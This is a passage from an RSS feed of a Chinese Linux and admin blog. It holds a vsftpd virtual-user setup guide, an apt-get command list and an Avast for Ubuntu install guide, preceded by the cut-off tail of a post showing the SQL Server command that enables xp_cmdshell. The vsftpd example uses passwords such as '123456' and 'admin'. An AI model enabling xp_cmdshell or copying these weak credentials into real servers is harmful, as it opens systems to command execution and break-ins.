class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code63744);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code63744>EXEC sp_configure &#39;show advanced options&#39;, 1;RECONFIGURE;EXEC sp_configure &#39;xp_cmdshell&#39;, 1;RECONFIGURE</div></div><br/> ]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1159.htm</link>
			<title><![CDATA[Ubuntu系统架设Vsftpd,虚拟用户配置]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Sun,21 Mar 2010 19:29:00 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1159</guid>
		<description><![CDATA[1. 安装vsftp和db4<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code65119);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code65119>sudo apt-get install vsftpd<br/>sudo apt-get install db4.6-util</div></div><br/>2.建立虚拟用户口令库的目录<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code27734);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code27734>sudo mkdir /etc/vsftpd</div></div><br/>然后新建名为logins.txt的用户口令文件， <span style="color:Red">（帐户/目录 都区分大小写）</span><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code39888);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code39888>sudo gedit /etc/vsftpd/logins.txt</div></div><br/>奇数行为用户名，偶数行为密码，如下用户User1的密码为123456，User2的密码为123456<br/><br/><span style="color:Green">User1<br/>123456<br/>User2<br/>123456<br/>admin<br/>admin</span><br/><br/>3.生成vsftpd的认证文件<br/><br/>使用db_load命令生成认证文件:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code76868);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code76868>sudo db4.6_load -T -t hash -f /etc/vsftpd/logins.txt /etc/vsftpd/vsftpd_login.db</div></div><br/>将vsftpd_login.db的权限设为只对root可读写，即600<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code92486);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code92486>sudo chmod 600 /etc/vsftpd/vsftpd_login.db</div></div><br/>4.建立虚拟用户所需的PAM配置文件<br/><br/>在/etc/pam.d目录中建立vsftpd.vu内容如下<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code72191);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code72191>sudo gedit /etc/pam.d/vsftpd.vu</div></div><br/><br/>以下为vsftpd.vu内容:<br/><br/><span style="color:Green">auth required /lib/security/pam_userdb.so db=/etc/vsftpd/vsftpd_login<br/>account required /lib/security/pam_userdb.so db=/etc/vsftpd/vsftpd_login</span><br/><br/>5.建立虚拟用户所需的系统用户和主目录<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code33075);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code33075>sudo mkdir /www<br/>sudo mkdir /www/User1<br/>sudo mkdir /www/User2<br/>sudo useradd Missll -d /www -s /bin/false<br/>sudo chown Missll.Missll /www<br/>sudo chown Missll.Missll /www/User1<br/>sudo chown Missll.Missll /www/User2<br/>sudo chmod 700 /www</div></div><br/><br/>6.设置vsftpd.conf配置文件：(记得先备份)<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code23866);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code23866>sudo cp /etc/vsftpd.conf /etc/vsftpd.conf_old<br/>sudo gedit /etc/vsftpd.conf</div></div><br/><br/>以下为vsftpd.conf内容,你可以自己添加更详细的设置.<br/><br/><span style="color:Green">listen=YES<br/>anonymous_enable=NO<br/>dirmessage_enable=YES<br/>xferlog_enable=YES<br/>xferlog_file=/var/log/vsftpd.log<br/>xferlog_std_format=YES<br/>chroot_local_user=YES<br/>guest_enable=YES<br/>guest_username=Missll<br/>user_config_dir=/etc/vsftpd_user_conf<br/>pam_service_name=vsftpd.vu<br/>local_enable=YES</span><br/><br/><br/>7.对不同的虚拟用户设置不同权限<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code24934);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code24934>sudo mkdir /etc/vsftpd_user_conf<br/>sudo gedit /etc/vsftpd_user_conf/User1</div></div><br/><br/>以下为User1内容:<br/><br/><span style="color:Green">write_enable=YES<br/>anon_world_readable_only=NO<br/>anon_upload_enable=YES<br/>anon_mkdir_write_enable=YES<br/>anon_other_write_enable=YES<br/>local_root=/www/User1</span><br/><br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code21730);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code21730>gedit /etc/vsftpd_user_conf/User2</div></div><br/><br/>以下为User2内容:<br/><br/><span style="color:Green">write_enable=YES<br/>anon_world_readable_only=NO<br/>anon_upload_enable=YES<br/>anon_mkdir_write_enable=YES<br/>anon_other_write_enable=YES<br/>local_root=/www/User2</span><br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code31343);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.missll.com/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code31343>gedit /etc/vsftpd_user_conf/admin</div></div><br/><br/>以下为admin内容:<br/><br/><span style="color:Green">write_enable=YES<br/>anon_world_readable_only=NO<br/>anon_upload_enable=YES<br/>anon_mkdir_write_enable=YES<br/>anon_other_write_enable=YES<br/>local_root=/www</span><br/><br/>8.重启vsftpd<br/>/etc/init.d/vsftpd restart<br/><br/>--------------------------------------------------------------<br/>本文来自CSDN博客,<a href="http://blog.csdn.net/wkjs/archive/2008/08/19/2796802.aspx" target="_blank" rel="external">http://blog.csdn.net/wkjs/archive/2008/08/19/2796802.aspx</a><br/><u>Missll 修改部分,如果你是以Root身份执行可以去掉sudo, 在其他用户下#:sudo -i -u root<br/>可以转到root身份下.</u><br/><br/>鳥哥的 Linux 私房菜,这里有些详细的配置信息.<br/><a href="http://linux.vbird.org/linux_server/0410vsftpd.php" target="_blank" rel="external">http://linux.vbird.org/linux_server/0410vsftpd.php</a>#server_anon<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1158.htm</link>
			<title><![CDATA[Ubuntu Linux系统下Apt-get命令参数详解]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Sun,21 Mar 2010 19:19:09 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1158</guid>
		<description><![CDATA[常用的APT命令参数：<br/><br/>　　apt-cache search package 搜索包<br/><br/>　　apt-cache show package 获取包的相关信息，如说明、大小、版本等<br/><br/>　　sudo apt-get install package 安装包<br/><br/>　　sudo apt-get install package - - reinstall 重新安装包<br/><br/>　　sudo apt-get -f install 修复安装&#34;-f = ——fix-missing&#34;<br/><br/>　　sudo apt-get remove package 删除包<br/><br/>　　sudo apt-get remove package - - purge 删除包，包括删除配置文件等<br/><br/>　　sudo apt-get up&#100;ate 更新源<br/><br/>　　sudo apt-get upgrade 更新已安装的包<br/><br/>　　sudo apt-get dist-upgrade 升级系统<br/><br/>　　sudo apt-get dsel&#101;ct-upgrade 使用 dsel&#101;ct 升级<br/><br/>　　apt-cache depends package 了解使用依赖<br/><br/>　　apt-cache rdepends package 是查看该包被哪些包依赖<br/><br/>　　sudo apt-get build-dep package 安装相关的编译环境<br/><br/>　　apt-get source package 下载该包的源代码<br/><br/>　　sudo apt-get clean &amp;&amp; sudo apt-get autoclean 清理无用的包<br/><br/>　　sudo apt-get check 检查是否有损坏的依赖<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.missll.com/blog/article/Internet/1157.htm</link>
			<title><![CDATA[Avast! for Ubuntu(Linux)]]></title>
			<author>ccnner@gmail.com(Missll)</author>
			<category><![CDATA[Internet]]></category>
			<pubDate>Sat,20 Mar 2010 23:31:44 +0800</pubDate>
			<guid>http://www.missll.com/blog/default.asp?id=1157</guid>
		<description><![CDATA[Avast! for Ubuntu(Linux)<br/><br/>虽然在LINUX下的病毒木马后门很少，但并不是没有，如果服务器的话还是要装杀毒软件.<br/>这里介绍一下在Ubuntu系统下安装Avast!的方法.Avast!安装相对是比较简单的,当然也有更简单的,<br/>你可以在Ubuntu软件中心获取到,直接安装就可以了. 如下图:<br/><br/><img src="http://www.missll.com/blog/download.asp?id=89" border="0" alt=""/><br/><br/>------------------------------------------------<br/>下面还是介绍下 Avast! for Linux <br/>1.下载Avast!的DEB包, DEP是Ubuntu专用的,直接安装就可以的.<br/><a href="http://www.avast.com/zh-cn/linux-home-edition" target="_blank" rel="external">http://www.avast.com/zh-cn/linux-home-edition</a>#tab4<br/>选择 avast! Linux Edition (DEB package) 下载<br/><br/>2.下载完毕后 右键选中 使用GDebi软件安装包打开.<br/><br/><img src="http://www.missll.com/blog/download.asp?id=90" border="0" alt=""/><br/><br/>3.打开 应用程序 --&gt; 附件 --&gt;Avast! Antivirus <br/><br/>在这里你需要获得一个注册码,申请地址 <a href="http://www.avast.com/cns/home-registration.php" target="_blank" rel="external">http://www.avast.com/cns/home-registration.php</a><br/>也可以使用我申请的这个:C10693982H1200A0212-DJLK7DMU<br/><br/><img src="http://www.missll.com/blog/download.asp?id=91" border="0" alt=""/><br/><br/><br/><br/>4.首先要升级病毒库,选中 Up&#100;ate database 等待即可.<br/><br/><br/><img src="http://www.missll.com/blog/download.asp?id=92" border="0" alt=""/><br/><br/>看软件的界面 不经让我们感到Linux的杀毒软件简陋的实在可怜,<br/>在Sel&#101;ct folders to scan 选中你指定的目录, Avast!的杀毒方式有三种,Quick standard Thorough<br/>然后选择开始就可以了, Start scan.<br/><br/><img src="http://www.missll.com/blog/download.asp?id=93" border="0" alt=""/><br/><br/><br/>不知道Linux下有没有像Windows一样开机监控的...<br/><br/>:转载请注明出处Missll.com<br/>]]></description>
		</item>
		
</channel>
</rss>
